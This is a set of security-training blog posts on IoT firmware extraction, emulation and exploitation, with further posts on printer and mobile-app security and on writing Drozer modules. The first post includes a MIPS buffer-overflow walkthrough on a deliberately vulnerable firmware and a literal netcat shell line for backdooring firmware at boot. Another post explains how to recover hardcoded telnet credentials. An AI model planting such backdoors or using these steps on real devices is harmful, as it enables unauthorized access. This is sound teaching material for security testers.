Emulating and Exploiting Firmware binaries


Welcome to the third post in the “Offensive IoT Exploitation” series. In the previous one, we learned about how we can get started with analyzing firmware and extracting file systems. In this post, we will take it a step further by analyzing individual binaries from firmware, and even exploiting commonly found vulnerabilities.

There are two firmware which we will be using for this post:

  1. Kkeps.bin (firmware of a kankun smart plug) – downloadable from http://homedash.org/2014/09/21/firmware-downloads/
  2. DVRF_0.3.bin (firmware of Damn Vulnerable Router Firmware by @b1ack0wl) – downloadable from https://github.com/praetorian-inc/DVRF

Once we have the Kankun firmware, the first thing that we will do is extract the file system from the firmware using binwalk.

binwalk -e kkeps.bin

Now that binwalk has extracted the firmware; we can look into the file system to see if there are any interesting binaries which we can try to target. As we are looking, we see that inside the sbin/ folder, there are a couple of binaries which look custom developed, as the name starts with the string kkeps.

Running firmware binaries meant for different architecture

Now, to interact with these binaries, either we need to run the binary by getting access to the device shell (something which we will do in the later posts), or we can emulate the binary by identifying what architecture is the binary supposed to run on. For this, we can use the readelf utility.

As we can see from the screenshot above, the binary is meant for the MIPS architecture. We need to find the corresponding qemu binary which will allow us to emulate binaries for the MIPS architecture. The installation of qemu is outside the scope of this post since there are a lot of online resources with a step-by-step guide on how to do it.

Once you have successfully installed qemu on your system, the next step is to copy the qemu-mips-static binary to the root folder of the firmware.

Let’s, first of all, try to run busybox located in the bin folder, and see if it works.

Since the busybox binary is compiled for another architecture, it simply refuses to run on our x86 machine, giving an Exec format error. Now, let’s try the same again, this time using qemu-mips-static and chroot:

sudo chroot. ./qemu-mips-static bin/busybox

As we can see, we are now successfully able to run binaries by emulating them for the given architecture using Qemu.

Let’s now try to emulate the kkeps_seekwifi binary located in the sbin folder using qemu-mips now, also using chroot as given below:

sudo chroot . ./qemu-mips-static sbin/kkeps_seekwifi

As the name of the binary says seekwifi, it is possible that this binary is looking for connections to the device (if it were running on the device). Let’s check if it has started some sort of listener on any of our ports. For this, we will use netstat as given below.

Indeed! It has started a listener on port 50000. Let’s see if we can even connect to this port and send some data which will be received by the listener.

If we look at the other terminal window, we will notice that the running binary has received the data sent through telnet.

Thus, we can emulate binaries from firmware for a different architecture and even interact with the running binaries.

This opens up a lot of possibilities for us as penetration testers. In fact, it means that if we can get the firmware of any device, we can even perform attacks on them and verify if it works or not, without having the need of getting the actual device.

Exploiting stack-based buffer overflows on MIPS

Let’s now go ahead and try to perform a stack based buffer overflow exploit on a binary for MIPS platform. This is assuming the fact that the readers know about the basic concepts of a stack based buffer overflow vulnerability. For this exercise, we will use the Damn Vulnerable Router Firmware.

The first step, as with any of the firmware is, to extract the file system using binwalk. Once you extract the DVRF file system using binwalk, you will find the challenges in the squashfs-root/pwnable/Intro folder.

The challenge that we are going to crack is the stack_bof_01. Before we go into the exploitation of this binary, let’s first have a look at the disassembly using IDA. You can even use radare2 or plasma to do this, depending on your preference. We will use IDA for this series. Also, while loading up the binary in IDA, ensure to change the architecture type of MIPS little endian.

The first thing we would need to have a look at is to see the list of functions and see if there are any interesting functions.

As we can see, there is a function of potential interest called dat_shell at the address 0x400950. We will come back to this later.

Let’s try to run the program and see what is the normal output when the binary is run. We will run it just like we did in the previous section using qemu and chroot.

It looks like the binary needs an argument, which when matches the condition specified by the developer, will result in another output, instead of “Try Again.” For this, let’s run qemu with a debugger attached to it using the -g flag and a port number and connect to it remotely using IDA. Just to note, during emulation in some cases, you will also have to set the environment variables expected by the binary, using the qemu’s –e flag.

As we can see the execution is now paused, as it expects the debugger to connect to it and give further operations to perform. So, let’s go to IDA and attach to this process by configuring the remote debugger. For this, we will need to open the same binary in IDA and then go to Debugger | Process Options, and enter our remote IP address (where we have the binary being emulated) and port here.

Once done, we can then run the debugger and attach to the existing running process. You can set breakpoints here and analyze various registers, as well as perform anything you would like to perform.

We will go in depth in MIPS assembly later on in this post series, but for now, we can focus on PC and RA, which are two most useful registers from an exploitation perspective, and stand from Program Counter and Return Address respectively.

To give a quick background, Program Counter is the next instruction to be fetched (due to the MIPS pipelining), and RA is the Return Address (where the program returns after finishing a subroutine).

Controlling either of these will give us access to the program flow, and thus the program execution can be manipulated.

Since this is a Stack based overflow crackme, let’s run the binary with an extremely long string of 2000 characters generated by Metasploit’s pattern_create.rb as shown below.

Once generated, we can use this pattern as an argument while running the binary and debug the binary in IDA to see where our PC gets to.

Since the program is now running, let’s go to IDA and see what is the value of PC at the program crash. We will be able to see that the PC stores the value of 0x41386741.

If we convert the value of 0x41386741 to string, we get to know that it comes to be A8gA, which using pattern_offset.rb, we can find out to be 204. This means that we can control the Program Counter and that it takes 204 characters of junk to reach a point where the next character will overwrite the Program Counter.

Now, let’s try to call the dat_shell function which we saw earlier using this overflow vulnerability. Since the first two lines deal with GP (Global pointer), let’s avoid those lines and directly jump to the third line of instruction located at the address 0x40095c.

So we will again generate a pattern of 204 characters, and after that, we will put the address of the third instruction in dat_shell function. As we can see from the image below, this time, tells us “Congrats! I will now execute /bin/sh” which means we have now been successful in exploiting. Had it been a real device, this would indeed have given us a shell.

How to backdoor a firmware

One of the other interesting things we could do with firmware is to create a malicious version of the original firmware. This could be done by extracting the file system from the firmware, adding malicious scripts which should be triggered automatically giving you a reverse shell, and then repackaging it into a new firmware. As an additional step, if you have access (hardware based or online), you can even flash the newly created firmware to the device.

This poses a huge security risk because most of the devices you buy are not directly from the manufacturers but rather from the distributors. Unless you verify that it’s a legitimate firmware running on the device, you can’t be fully sure that it is not backdoored. We won’t go into details of how manufacturers put backdoors themselves in the firmware.

Let’s now deep dive into how all of this could be done.

Introducing Firmware Mod Kit

Firmware Mod Kit is a tool written by Jeremy Collake and Craig Heffner. Using FMK, as it is popularly called, you can extract a firmware image, add your own code, and build a new version of the firmware.

Firmware mod kit is a complete suite both to extract, as well as build new firmware. For extraction, it also uses Binwalk as part of its extraction process.

To extract firmware using binwalk, we can use the extract-firmware.sh followed by the firmware binary file name as shown below.

Once the firmware is extracted, it will store the extracted file system in the fmk directory of the same folder.

Here, we can modify or add any file we want. As we can see from the below screenshot, there is a busybox binary, which has Netcat as well. If we want, we could add the Netcat reverse shell to connect to our IP anytime the device boots up.

To add the backdoor, we can add the following line in any of the .sh files, which can be triggered automatically on device boot up.

/bin/busybox nc –nlp 12345 –e /bin/busybox sh &

Once we have made the changes, we can then use the build-firmware.sh to build the new firmware which then could be flashed to the device.

That is all for this post. I hope you were able to learn a lot about analyzing and exploiting firmware binaries. That is all for this post. In the next post, we will learn more about Hardware based exploitation on these devices.

If you are interested in attending our live hands-on training class on “Offensive IoT Exploitation”, drop us an email at .

This post was originally posted at Infosec Insititute.

Firmware Analysis for IoT Devices

firmware 2

This is the second post in the IoT Exploitation and Penetration Testing series. In this post, we are going to have a look at a key component in an IoT device architecture – Firmware.

Any IoT device you use, you will be interacting with firmware, and this is because firmware can be thought of as the actual code that runs on an IoT or embedded device. For this post, we will start by looking at various ways to extract file system from firmware, and then move into going deeper into analysing binaries for vulnerabilities. The most common architectures for IoT devices are ARM and MIPS, which is also something we will cover later in this series.

Before starting digging deep into the firmware, we would have a look at the components and related aspects, such as file system types, compressions, encryptions, and bootloader.

Firmware components

File system types:

During the entire firmware analysis journey, we will come across various kinds of file systems such as Squashfs, Cramfs, YAFFS2 and so on. The choice of file system is solely to the developers creating the embedded devices, and the other functionalities they want to offer, which might be available in one file system and not in the other. For example, Squashfs is a compressed Linux read-only file system, which is one of the most common file systems you will come across in embedded devices.

For a complete list of file systems, please refer to this link:http://elinux.org/File_Systems.

One of the things we can do, once he has the firmware image is based on the file system type, we could try to mount it and analyse the contents inside it.

So to analyze what location is the filesystem located in, we can use Binwalk. we will discuss Binwalk in detail later on in this post, but for now, it can help us give the exact addresses where the file system is located in.

To mount the jffs2 image on our system, the first thing we will do is to provide an MTD partition in the RAM whose size is specified by total_size.

modprobe mtdram total_size=25247744

Next, we will create a block device through which we can access the partition, and then load up support for jffs2 filesystems which might not be enabled by default.

modprobe mtdblock

modprobe jffs2

The next thing is to copy the file system from the location derived above and output to a new file using dd.

Once done, we will simply copy the file system from the file created (filesys) to the mtdblock0 .

Once done, we can then use mount to mount the filesystem so that we can access it. We can quickly look at the main page of the mount and see how we can mount our image.

Since we know that the type of the filesystem is jffs2, we can simply go ahead and use the mount command as mentioned in the man page.  So we simply create a new folder in our current location named jffs2 and mount the mtdblock to that directory.

As you can see from the above image, we now have access to the entire filesystem. This is just an example of how we can get access to the file system of firmware. Later on, we will see other simpler techniques to do the same.

Compressions and Encryptions:

Once we have understood the file system, we need to understand the other aspects associated with firmware – namely the compression and encryption in use. The file system in embedded devices are usually compressed to save up space. Some of the most common compressions used by IoT device file systems are  LZMA, GZIP, Zlib, Zip and ARJ to name a  few.

Let’s put some of this knowledge to practical use. We know that some vendors for LZMA compressed Squashfs file system use the magic number shsq. So, we can perform a hexdump on our firmware and grep for shsq to know the starting address of the firmware.

As we can see above that we found the shsq magic number at the location 0x000e0080. Now that we know the starting address of the file system, we can dump the content using dd.

Since that we know that it’s a squashfs file type, we can run unsquashfs on it to get to the file system. The -l simply list down the contents of the file system.

If you run a unsquashfs -h, it will show that the tool unsquashfs already supports lzma compression.

So we can simply go ahead and extract the file system from filesystem.bin.

This will create a folder called squashfs-root, which will have the entire filesystem extracted. From here, we can now analyse individual binaries or look in the configuration files for identifying vulnerabilities.


The bootloader is the component of any device which helps the entire system to boot up, to put it in the simplest terms possible. It helps the entire system to set up the system settings and then load up the kernel which will be used to load up the entire filesystem.

Some of the most common bootloaders are Das uBoot, Redboot, CFE to name a few. We will come across bootloader again later on in this blog series, but for now, we will keep it limited to this.

You could read more about bootloaders here –http://www.informit.com/articles/article.aspx?p=1647051 .

Once we have understood the firmware,

To be able to perform firmware analysis, it is important to understand how to get hold of the firmware in the first place. Typically, there are two ways to obtain a firmware for a particular device:

Obtaining the firmware from the vendor’s website: Many of the IoT device manufacturers will have the firmware listed down in the Downloads or Support section of the website so that users could download and manually update the device.

Dumping the firmware from the device through hardware exploitation techniques: This can be achieved by either dumping the firmware using serial communication such as UART or JTAG or using SPI Flash. We will discuss this technique in our later posts.

Once you have obtained the firmware, we can now proceed further and start with our analysis techniques. For this exercise, we will use the Damn Vulnerable Router Firmware, which can be obtained from here – https://github.com/praetorian-inc/DVRF.

Once we have the DVRF.bin with us, which is the firmware, we can run a quick hex dump on it to see if we can identify what device does it belong to and maybe some additional information as well.

As we can see from the hex dump, that even though most of the information doesn’t make sense, two of the strings stand out – u2nd and hdr0. Just by a quick google search, we come to know that this is related to a Linksys product which is indeed the case.

Even then, we don’t have enough information about the firmware which we could use for our exploitation. So moving on from hex dump, the next thing we will do is to run binwalk on it.

Binwalk is a firmware reverse engineering tool created by Craig Heffner(@devttys0) to help pen testers and security researchers analyse and understand the firmware. The tool supports various file system compressions and encryptions and is a de-facto tool when it comes to firmware reverse engineering. Installing binwalk on your system is straightforward, and you can follow the instructions given on the Github page of the project located here –https://github.com/devttys0/binwalk/blob/master/INSTALL.md.

Once you have set up binwalk on your system, the next step would be to use binwalk to analyse the firmware and understand the different sections present in it. When we run binwalk on DVRF.bin, below is what we will see.

As we can see from above, the header starts from 0x20 and continues till 0x3c, which is then followed by the gzip compressed data with file name piggy, and finally the squashfs file system starting from 0x192728.

So, let’s use binwalk to extract both piggy, as well the squashfs file system. You can also use dd for the same purpose; binwalk just simplifies the entire process.

Running binwalk on DVRF.bin for extraction, we will be able to achieve the contents of the file system and additional data that is stored inside the firmware.

binwalk -e DVRF_0.3.bin

As we can see from the extracted file system, that it is a Linux-based operating system. Linux is one of the most common OS, which you will encounter while reversing firmware, followed by other OSes such as VxWorks and eCOS.

Once we have extracted the firmware, the next step is to look at the various binaries present in the firmware and analyse them to identify vulnerabilities. One of the easy ways to catch low hanging fruit is to check the version of common binaries such as busybox and see if you can find a corresponding exploit for that given version.

Let us, for now, have a look at another firmware of a Dlink device (mention the device name and firmware download URL). So, we will simply download the firmware from the website and use binwalk to extract file system from the firmware.

binwalk -e Dlink.bin

Let’s try to search for a sensitive credential in this firmware. Telnet seems like a good starting point as it can grant us access to the device on which this firmware is running on.

If we grep for telnet, we can see that there is a file located at /etc/scripts/misc/telnetd.sh.

If we open up this file, below is what the content looks like.

As we can see from the file that it indeed contains code to login to a telnet session with the username of Alphanetworks and the password is the content of a file specified by $image_sign. If we look closely, just in the second line of the script, $image_sign variable is mentioned to be the content of the file /etc/config/image_sign.

So, if we simply cat the /etc/config/image_sign file, we will have the password of the telnet login. Below is the same.

Thus, we were able to reverse the file system from a Dlink router firmware and were able to grab the telnet login credentials from it.

Automated Tools

There exist several automated tools to perform static and dynamic analysis of firmware. One such popular tool is firmwalker, developed by Craig Smith, which performs a static analysis on the firmware by performing checks on interesting strings.

To run firmwalker, clone the github repo and point firmwalker.sh on any of the extracted file systems of firmware.

git clone https://github.com/craigz28/firmwalker.git

cd firmwalker

Once done, simply go ahead and run firmwalker.sh on any of the extracted file systems from binwalk. In this case, we will run it on the file system of Damn Vulnerable Router Firmware.

Overall firmwalker is a nice tool to help you get started with firmware analysis and enable you to find interesting files which you can look further into.

There are other automated tools as well which could be used for static and dynamic analysis of firmware. Since they are a bit more complicated to set up and requires much deeper instructions, we would take it up in the upcoming posts.

Analysing Binaries using disassembly

One of the most important exploitation techniques, once we have the firmware extracted, is analysing the interesting binaries through disassembly. Once you extract Damn Vulnerable Router Firmware, you will find interesting binaries located at squashfs-root/pwnables/Intro/.

You can disassemble them through tools such as objdump, IDA or even online disassembler. For example, if we try out the binary located at pwnables/Intro/stack_bof1 in onlinedisassembler.com, we can see the various functions in the binary and the disassembly for each of them.

The below screenshot shows a disassembly of stack_bof1 on the onlinedisassembler.com.

Also, just like any other advanced disassembler, the onlinedisassembler also has the functionality of showing you a graph layout of the entire disassembly, as shown below.

That is all for this post on Getting started with firmware analysis. In the next post, we will go through how you can emulate firmware and even debug the binaries inside the firmware in real time.


Binwalk installation guide

BH USA 2013: Firmware Reverse Engineering by Jonas Zaddach and Andrei Costin

Reversing Auerswald firmware: https://cweiske.de/tagebuch/auerswald-firmware.htm

Embedded system bootloader:https://en.wikibooks.org/wiki/Embedded_Systems/Bootloaders_and_Bootsectors

This post was originally posted at “Infosec Institute“.

Getting started with “IoT Security” – Mapping the attack surface

Mapping attack surface in IoT device

IoT or the Internet of Things is the new buzzword all around. However, not enough attention has been paid to the security aspect of these so-called “smart” devices.

This series of post will help anyone interested, get started on IoT security and penetration testing of “smart” devices.

To assess the security of IoT devices, we must first understand the various components involved in it, and then identify what kind of security issues could affect each component and then look into each of them. That is exactly the approach we will be taking in this series of “Offensive IoT Exploitation”.

The Internet of Things device infrastructure could be divided into three major categories:

  1. Embedded device
  2. Software and applications
  3. Radio communications


The “Device” component is the key to any IoT architecture. Here, the device is a combined term which I have given to refer any hardware device that is involved in the architecture.

For example, in most of the smart home appliances, the device will usually comprise of the “gateway” and the “operating device”. The gateway is what acts as a central hub to the other devices, whereas the “operating device” is the device which performs the actual action or monitor using sensors, depending on what is it intended to.

The vulnerabilities in “device” will be any vulnerability which we typically see in an embedded device. For example, communication over serial ports leading to root access, and ability to extract firmware from the flash are some of the examples we will get started with. We will go in-depth into these once we cover the device section in subsequent posts.

Software and Cloud component

The Software and Cloud component in an IoT device comprise the following elements:

  1. Firmware of the device
  2. Web application dashboard
  3. Mobile application used to control, configure and monitor the devices

There are some specific vulnerabilities in each of the components. For this post series, I will only cover the Firmware section in detail, with a bit of insight on each Web and Mobile based vulnerabilities affecting IoT products.

Radio Communication

The radio communication is a critical aspect of any IoT device. By Radio communication, we simply mean any communication is happening between device-device or app-device.

The various communication protocols which are usually used in an IoT architecture are WiFi, BLE, Zigbee, ZWave, 6LoWPAN and Cellular to name a few.

For this Offensive IoT Exploitation series, we will look at some of the major communication channels used and specific attacks against each of them. However, this section will need a good amount of hardware setup (just like the “Devices” section), so be prepared for all the fun and action.

How to map the Attack Surface of an IoT device

Having done numerous IoT pen testing engagements so far, I can assure you that to conduct an IoT device pentest effectively; you will need to assess and map the entire attack surface for that given device. Assessing an IoT device attack surface does not vary a lot from web attack surface mapping, however here a lot many more components will be involved.

Below are the steps you would need to follow to map the attack surface of an IoT device:

IoT Pentesting

Mapping attack surface of an IoT device

Step 1: The first step of Attack Surface mapping is to understand the entire IoT device architecture. This would need you to go through all the product manuals, documentations, information on the vendor’s website and any additional detail which you can find from any other source.

Step 2: Build an architecture diagram for the given device specifying each of the components that is used in various categories we discussed above. If it is a radio communication between two devices, show it with a dotted line and also specify the kind of communication protocol being used. If the application is communicating with the cloud to send and receive data using an API, mark it in the architecture diagram along with the kind of API which is used.

Step 3: Once the complete architecture diagram has been prepared, think like an attacker. If you have to attack a particular component, what techniques would you use and what kind of information would you try to extract. List down all the specific test cases for each component in a spreadsheet.

Below is a snippet of attack surface list for the above architecture diagram:

Once the above steps have been completed, we can now proceed to the actual execution of the attack vectors. Since we already have a clear idea of what technique we are going to use, and what data we are after, our efforts will now be much more optimised for the time and would lead to better results.

  1. IoT gateway
    1. Hardware based attack vectors – serial communication, firmware dumping, etc. to get access to the firmware and any sensitive information stored in it.
    2. Sniffing communication data being sent to the cloud
    3. Performing replay and spoofed attacks against the communication data sent to the cloud
  2. Devices
    1. Hardware based attack vectors – serial communication, firmware dumping, etc. to get access to the firmware and any sensitive information stored in it.
    2. Radio communication analysis between device and the gateway attacking Zigbee, zWave, 6LoWPAN
    3. Attacking BLE
  3. Mobile App
  4. Cloud/Web dashboard

That is all for this post, in the next post, we will learn on how to start performing a firmware analysis for a given IoT device.

If you want to know more about the Offensive IoT Exploitation course training, you can reach out to Attify or you can directly enroll to upcoming classes at BlackHat USA and BlackHat Europe.

This post was originally posted at “Infosec Instititute“.

Securing your “smart” printer

Securing Internet of things.

When you think of the ways in which a computer network is penetrated, a printer is not the first thing that comes to mind. Most of the employees in an organisation will have their machine connected to a smart printer, making their computers and corporate network vulnerable.  When you consider a printer has access to all the confidential documents of an organisation and yet the fact that none or very little attention is paid to it’s security, is alarming.

Just like any insecure system, most of the printers either have no password or if corporate policy mandates one, they are protected with default credentials. During our various infrastructure pentest engagements that we have conducted over the past 3 years, we have found printers to be one of the most common infrastructure components vulnerable to exploit. Once we have exploited the printer, and have access to it, we can then infiltrate the internal network even further.

Previous Smart Devices security issues

As per the information made accessible by the affected organisations, some of the most popular breaches in history have been a result of a 3rd party device connected to the network. This includes the famous Target breach which was a result of a breach with the 3rd party HVAC system. This again emphasizes on the fact that not only should an organisation care about the computer systems and servers, but also the components such as printers and other 3rd party devices.

Another interesting incident which happened recently was when a security researcher researching printer and embedded devices security, compromised millions of printers and printed Nazi messages through the printers of University of Maryland among many others.  

As per the details on Andrew’s blog, the printer hack was a result of an extremely simple vulnerability exploited by a couple of lines of Postscript code. Printers usually expose port 9100, which then could be used in a search engine such as Shodan.io, and connecting to those devices over port 9100 will allow you access to the printer.

In a survey report by Ponemon Institute, 64% of organisations don’t consider printer security to be the part of their high priority security strategy. With the general misconception being that printers are pretty simple devices and not an attacker’s target and hence the attacks against 3rd party devices are bound to rise.

Not only printing of insensitive messages is the threat scenario, but the printers can also be used as a backdoor to silently send all the documents it is printing to a remote server, or even to just be an entry point to the internal organisational network.

Steps to Secure your IoT printer:

If you are an organisation, here are the 3 steps you need to take in order to strengthen your printer security from malicious attacks:

  • Physical and network security
    • Ensure that only authorized persons have access to the printer.
    • Keep the printer out of the sensitive portion of the corporate network via secure authentication and authorization protections in place.
    • Don’t expose the printer to outside internet facing world.

  • Reverse Engineering and firmware modification attacks
    • Verify the firmware checksum of the printer whenever an update happens. This will ensure that firmware has not been modified or compromised in any way.

  • Publicly known vulnerabilities
    • Keep your printer up to date. This will help protect it against common vulnerabilities which could be exploited by anyone.

If you would like to learn more about IoT and device exploitation, attend Attify’s technical course on “Offensive IoT exploitation” which has been optimized through years of research and experience in device and IoT pentesting. Read more here – attify.com/trainings.php .

BlackHat Asia 2016 : Wrap Up

BlackHat Asia : Attify's training on IoT Exploitation

BlackHat Asia : Attify’s training on IoT Exploitation (Pic credits : gpheheise )

Like almost any other major security conference, this time at BlackHat Asia 2016 , Attify was present to interact with its existing clients and also to conduct a security training and contribute to a panel discussion.

This time at BlackHat Asia 2016, Attify conducted a hands-on technical training session on Offensive Internet of Things Exploitation, which is a flagship course offered by Attify. The course was a major hit (as expected) just like in BlackHat USA 2015 and several other conferences.

We are also revamping our training offerings and the overall agenda for this year. Keep an eye out on the training page for more info.  Apart from the training offering at BlackHat, Attify’s CEO – Aditya Gupta was also a member of panel discussion organised by Dark Reading to discuss about the impact of Internet of Things, and how vendors could create safer smart things.

The conference had some really great talk lineup such as Bypassing Browser Security Policies for Fun and Profit, where Rafay Baloch discussed about vulnerabilities in SOP for the Android platform/apps, CANtact tool presentation by Eric for hacking automotives, Automated Dynamic Firmware Analysis at Scale by Andrei etc.

Overall, it was a great experience with great talk, training and events lineup. In case you couldn’t make it to Attify’s training at Asia, feel free to get in touch with us at for a training at your organisation.

5 tips to secure your Mobile Application

Mobile Application Security

Mobile Applications can have various type of security issues. We audit applications for security issues on a daily basis as a part of our Mobile Application Auditing services.

If you are a mobile application developer, here are quick 5 tips for you to ensure the security of your mobile app.

Secure IPC

In any mobile application, ensure that the components interacting with each other happens in a secure fashion. For ex, unauthorised access to the Activities, Services, Content Providers or any other component for that matter – should be secured. This can be done by ensuring that each of the component has been protected and also specified in the  AndroidManifest.xml file. 

Use encryption

Using encryption might sound a bit too generalised, but a lot of developers often forget to use it while working with sensitive data. Make sure that your application performs encryption of any sensitive data – whether in rest or transit. This will protect your application’s security, even if someone gets hold of the user’s device or gains access to it.

Continue reading

Security Consulting for your organisation

Mobile Application Security Consulting

The consulting industry is one of the oldest in most parts of the world, but continues to be highly fragmented due to the lack of restrictions. Whereas most industries like accounting and law have rules, laws and ethics that must be adhered to, consulting does not have strict legalities and this includes the security consulting industry.

Your Data May Be Exposed

Most have realized the great need for tighter security on the internet and within our devices and gadgets such as laptops, smartphones and tablet computers. As we move about our lives each day, we create and expose billions of bits of vital data. It would be great if we all lived in a world where you could place important information about yourself or your company online and not worry about this being stolen. The fact is that we do not live in this type of world.

Malware and Internet attacks are escalating

The world we live in consists of a large group who make their living by stealing from others. With Malware, the object may only be to destroy your hard drive or other important information. This actually profits no one but has become a very popular method of infecting someone’s computer with a virus or worm.

Whether it’s the common pickpocket on the street or the hacker at his computer, theft hurts us all. It costs time and money. It generally takes a toll on its victims. And yet, with technology moving forward at such a rapid pace, there’s every indication that these issues will escalate in the future.

Continue reading

10 Secure Coding Guidelines for Mobile Apps

Attify is a leading provider for Mobile Application security for various organisations all over the world. We have got a number of requests to share the top secure coding  guidelines for Mobile apps, so that developer can build much more secure applications.

So, we decided to write down the 10 Most important Secure Coding Guidelines for Mobile apps.

1. Protect Sensitive Data

Ensure that any data you store – on device or in the external storage is properly secured. You will need to take care of proper file permissions as well as the encryption of the data in case it’s sensitive.

2. Secure Authentication Credentials

Whenever you store the user’s credentials on the device ensure that the credentials are not leaked through cache, logs or any other medium. Advice the users to chose strong authentication credentials.

Continue reading

3 Steps to Secure your IoT Devices from getting HACKED.

Internet of Things Security

A lot of new IoT  ( Internet of Things ) and smart  devices are coming up every now and then, and being a user myself, I thought a few  basic and handy tips will be useful to the community, in order to ensure the security of your data and device.

IoT being a new and emerging market, there is not enough security awareness among the developers and companies who create the products. So here are some tips for the users :

Always Change the Admin Login credentials

If you buy a Smart Hub (which is a great example – Internet of Things or IoT Device) or a smart medical device, chances are there will be an option to change the default password/pin credentials. Go through the manual and change the default login credentials as soon as you get the device.

Continue reading

Write your own Drozer Module for Android Application Security Testing

If you have worked in penetration testing or application testing, you already know how often you are repeating common tasks. This is where Drozer comes into the picture.

Drozer : Android Application Security Assessment Framework

Drozer is a Python based framework to help automate Android application testing. It consists of two parts: a console and an Android agent with limited permissions.

Drozer is based on a client-server architecture. The client is installed on your local instance, whereas the server is the Android app or agent. Once you run the Android app, it starts the Drozer server on port 31415, which is also the port on which it communicates with the client.

In order to start up Drozer, all you need to do is

Its only permission, by default, is android.permission.INTERNET, which is needed to receive commands from the console. While additional permissions can be added to the Drozer agent, if there is a vulnerability with the default permissions, it is a more serious vulnerability.



One of the key advantages of Drozer is its modular nature. Users can extend the capabilities of the framework and create modules to automate vulnerability research and exploits.

Getting started with Drozer Modules

Drozer modules follow a simple structure with required metadata (for the required metadata, see the Drozer module writing documentation) and the execute()  method. Another popular method is the add_arguments()  method, which uses argparse to easily parse command line parameters.

The real power of Drozer scripting comes from its use of Java’s Reflection API to allow Python code to create and interact with Java objects right on the Android’s Dalvik VM. A module author is able to directly utilize the all the objects and methods available in the Android API. Reflection can be a difficult concept to grasp without an example or two.

Writing a Drozer module to collect device information is a great, simple example of how reflection can be used. The android.os.BUILD object provides information about the device hardware and operating system. First we need to instantiate a new build object in Python using build = self.new("android.os.Build") .

Then, we can use any of the features of the object native in the Python! For example, we can use build.BOARD  to access the information for the device’s underlying board. To see the entire example, see Keith Makan’s ex.device.info  module from Android Security Cookbook.

Writing our own Module to Automate Android Security Testing

Let’s go through a quick example of creating a Drozer module. For this example, we will create a Drozer module to create a SMS based on the user provided number and message. (This would be equivalent to running am start -a android.intent.action.MAIN --es "sms_body" message --es "address" "number" com.android.mms/.ui.ComposeMessageActivity  from the Android shell.)

The trickiest part of this module is building the Intent. In Drozer, the syntax is

From above, our action is android.intent.action.MAIN . We will also need to define the component for the intent ("com.android.mms", "com.android.mms.ui.ComposeMessageActivity")  and the extras (commands carried by the Intent) ['string', 'address', str(arguments.number)],['string', 'sms_body', str(arguments.message)]] . The values of the extras are pulled in by user defined command line parameters.

Finally, we will need to set a flag that we will be starting an activity outside of an activity context ['ACTIVITY_NEW_TASK'] .

Putting it all together, we end up with intent = android.Intent(action=act, component=cmp, extras=extr, flags=flg) . I created variables for each of the arguments to build the Intent to make building the Intent easier to read.

BuildIntentWith the Intent built, we need to start the Activity and pass the Intent in order to create the SMS.  In Drozer, that looks like self.getContext().startActivity(intent.buildIn(self)) .

Installing and Running the Drozer Module

Once you have written the module and saved it (I called mine ex.SMS.create ), you need to install it before you can use it. Drozer recommends creating your own repository to install custom modules to prevent issues with upgrading in the future.

To create a repository and install a module, you need to first be in the Drozer console. You can create a repository with

Thereafter you install the module with

In the case that you have more than one module repository, Drozer will ask you select the repository to install it to.

Finally, you can run the module with



This simple module can be expanded to build in validation of user input and the Intent. Or, you can build off these concepts to write your own Drozer module to exploit the SMS resend vulnerability in Android(CVE-2014-8610).

In either case, if you plan on working with Drozer and creating your own modules, I highly recommend installing the mwrlabs.developer module. This module has an interactive shell that you can use to test the creation and interaction of Java objects.

Now you are ready to start writing and sharing Drozer modules for your own Android application testing!

Full code for ex.SMS.create module


Norman Shamas is a digital security trainer, activist, and budding security researcher. He has done extensive work with community organizations and activists to train them on security in a holistic framework (digital, physical, psychosocial). Norman is very excited to be working with Attify to help protect the tools most activists use to communicate: their phones.

For further details on Android application pentesting and security auditing services, or to conduct a security training at your organisation, please contact us using the form below :